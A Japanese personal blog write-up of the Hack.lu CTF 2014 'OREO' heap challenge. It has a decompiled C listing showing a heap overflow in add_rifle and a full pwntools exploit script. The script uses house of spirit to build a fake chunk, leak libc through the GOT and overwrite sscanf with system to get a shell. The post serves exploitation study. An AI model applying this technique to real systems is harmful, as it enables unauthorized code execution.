fr33f0r4ll

自分用雑記

Heap exploitation Hack.lu CTF 2014: OREO

Heap exploitation Hack.lu CTF 2014: OREO

How2Heapシリーズの続き、とうとうhouse of spiritまで来た。
house of spirit自体の解説はhttps://github.com/shellphish/how2heap、問題はhttps://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/oreoにある。
Writeupはなしで解けた!

問題

fileとchecksecは以下。

oreo: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=f591eececd05c63140b9d658578aea6c24450f8b, stripped

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

x86でセキュリティ機構は普通。
Rifleを購入するプログラムになっていて、名前や説明の入力をして注文したり、メモのようなものを残すことができる。

解析

Radareで解析してマニュアルデコンパイルしたコードは以下。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void main_loop();
int read_input_num();
void check_last_char(char* buf);
void add_rifle();
void show_rifle();
void order_rifle();
void leave_msg();
void show_status();

// size 0x38
struct tmp_st {
  char description[0x19];
  char name[0x1b];     // 0x19
  struct tmp_st *next; // 0x34
};

struct tmp_st* head_ptr; // 0x804a288
int order_count;         // 0x804a2a0
int list_count;          // 0x804a2a4
char *msg;               // 0x804a2a8
char global_buf[0x80];   // 0x804a2c0

int main(int argc, char** argv){
  // print welcome
  // initialize
  list_count = 0;
  order_count = 0;
  msg = global_buf;

  main_loop();
  
  return 0;
}

void main_loop() {
  // show menu

  while(1) {
    switch(read_input_num()) {
    case 1:
      add_rifle();
      break;
    case 2:
      show_rifle();
      break;
    case 3:
      order_rifle();
      break;
    case 4:
      leave_msg();
      break;
    case 5:
      show_status();
      break;
    case 6:
      return;
    default:
      break;
    }
  }
}

int read_input_num() {
  char buf[0x20];
  int num;
  
  while(1) {
    // print action
    fgets(buf, sizeof(buf), stdin);
    if(sscanf(buf, "%u", &num) != 0) {
      return num;
    }
  }
}

void check_last_char(char* buf) {
  char* local_buf = buf;
  char* last = local_buf + strlen(local_buf) - 1;

  if(last >= buf && *last == '\n') {
    *last = '\0';
  }

  return;
}

void add_rifle() {
  // local_10h = [0x804a288]
  struct tmp_st* tmp = head_ptr;
  head_ptr = malloc(sizeof(struct tmp_st));

  if(head_ptr == NULL) {
    // print error
    return;
  }
  
  head_ptr->next = tmp;

  // rifle name
  fgets(head_ptr->name, 0x38, stdin); // sizeof(struct tmp_st)?
  check_last_char(head_ptr->name);
  // description
  fgets(head_ptr->description, 0x38, stdin);
  check_last_char(head_ptr->description);

  list_count++;

  return;
}

void show_rifle() {
  // printf
  struct tmp_st* head = head_ptr;

  while(head != NULL) {
    // print head->name
    // print head->description
    head = head->next;
  }

  return;
}

void order_rifle() {
  struct tmp_st* head = head_ptr;

  if(list_count == 0) {
    // no rifle
    return;
  }

  while(head != NULL) {
    struct tmp_st* tmp = head;
    head = head->next;
    free(tmp);
  }

  head_ptr = NULL;
  order_count++;

  return;
}

void leave_msg() {
  // enter notice
  fgets(msg, 0x80, stdin);
  
  return;
}

void show_status() {
  // print list_count
  // print order_count

  if(msg[0] != '\0') {
    // print msg
  }

  return;
}

ちょっと整理されてない。

add_rifle脆弱性があり、バッファのサイズを指定するべき場所に構造体tmp_stのサイズが指定されているため、ヒープ上でのバッファオーバーフローが存在している。
よってtmp_st.nameから0x38だけ任意の値に書き換えられる、例えばnextとか。
これによりリンクリストの次の領域を任意のアドレスに指定できるので、任意の領域をfreeすることができる。

解法

house of spirit

簡単に説明すると、chunkと同じように値を設定してやることでheap領域以外をfreeしてfastbinsに繋ぐ攻撃である。
こうすることで任意の領域をmallocに返させて、値を書き込んだりできるようになる。


house of spiritを使うことは分かっているので、それを意識して考えてみた。
すると、グローバル変数の値を適切に設定してやれば、ヒープオーバーフローでfreeさせられそうだと思い付いた。
どこが書き換えられると嬉しいかを考えると、leave_msgで任意の入力を書き込めるchar* msgあたりをmallocで返したい。
そこで、msgの上のlist_countにサイズを設定しmsgfreeすることで、次のadd_rifleで指しているアドレスを改ざんできるようにすることを目指した。

house of spiritによりadd_rifleでアドレスを改ざんできるようになったので、書き換えるべきアドレスを探した。
GOTを書き換えられるので、ユーザの入力を受け取る標準関数sscanfを書き換えることにした。
libcのバージョンを特定する必要があったため2つ以上の関数のアドレスをリークさせる必要があるがsscanfは一番最後の領域にあったため直接sscanfを指すようにしてしまうとうまくlibcのリークとGOTの書き換えが両立できない。
そこで、ひとつ上のlibc_mainを指定してリークと書き換えが1度にできるようにした。

exploit

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='i386')
exe = './oreo'
libc = './libc6_2.23-0ubuntu10_i386.so'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote(
            '', )
    else:
        return process([exe] + argv, env={'LD_PRELOAD': libc}, *a, **kw)


#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()
elf = ELF(exe)


def add_rifle(name, desc):
    io.sendline('1')
    io.sendline(name)
    io.sendline(desc)
    return


def show_rifle():
    sep = '==================================='

    io.sendline('2')
    io.recvuntil(sep)
    return io.recvuntil(sep).replace(sep, '')


def order_rifle():
    io.sendline('3')
    return


def leave_msg(notice):
    io.sendline('4')
    io.sendline(notice)
    return


def show_status():
    io.sendline('5')
    io.recvuntil('======= Status =======')
    sep = '======================'
    return io.recvuntil(sep).replace(sep, '')


log.info('Exploit Start!')
# 最初にオーバーフローを利用して、
log.info('Overwrite next ptr by overflow.')
# set 0x41 order count for chunk size field.
for i in range(0x41 - 1):  # -1 for additional add_rifle
    add_rifle('A' * 4, 'B' * 4)

log.info('Create fake chunk.')
# Fake chunk layout
# order_count: prev_size
# list_count: user_data, size
# msg: 4
# space: 0x18
# global_buf: 0x34 - 0x18 + NULL + prev_size + size
global_buf_addr = 0x804a2c0
order_count_addr = 0x804a2a0
list_count_addr = 0x804a2a4

log.info("Firstly, overwrite tmp_st.next to msg (list_count_addr + 4).")
payload = 'C' * 0x1b  # padding
payload += p32(list_count_addr + 0x4)  # prev_sizeとsizeの分だけずらして設定する
add_rifle(payload, 'D' * 4)

payload = 'E' * (0x34 - 0x18)  # char* msgとパディング分をスキップ
payload += '\0' * 4  # nextをNULLに
payload += 'H' * 4  # prev_sizeを適当に
payload += p32(0x41)

assert (len(payload) <= 0x80)
leave_msg(payload)
order_rifle()

# fastbinにorder_countのアドレスが繋がれる
log.info('Overwrite msg.')
# descriptionに書き込んでmsgをfree@GOTを指すように書き換える
# chunkがorder_countを指しているので、mallocで返ってくるのはmsgになる
log.info('Leak libc function address')

# libcを特定ために2つの関数アドレスをリークする必要がある
# sscanfを書き換えられる必要がある
# なのでlibc_start_mainからリークさせる
payload = p32(elf.got['__libc_start_main'])
add_rifle('IIII', payload)
status = show_status().split('\n')[-2].replace('Order Message: ', '')
libc_main_addr = u32(status[:4])
sscanf_addr = u32(status[4:8])
log.info('__libc_start_main@GOT: 0x{:x}'.format(libc_main_addr))
log.info('__isoc99_sscanf@GOT: 0x{:x}'.format(sscanf_addr))
log.info('Now, you can get libc from libc database.')

log.info('Overwrite sscanf to system.')
libc = ELF(libc)
libc_base = sscanf_addr - libc.symbols['__isoc99_sscanf']
log.info('libc base: 0x{:x}'.format(libc_base))
system_addr = libc.symbols['system'] + libc_base

leave_msg('J' * 4 + p32(system_addr))  # これでsscanfがsystemになる

# 数値読み取りに渡される文字列に/bin/shを指定することでsystemでシェル起動
io.sendline('/bin/sh' + '\0')

io.interactive()

まとめ

時間はかかったけど自力で解けたので嬉しい。 だんだんコツが分かってきた。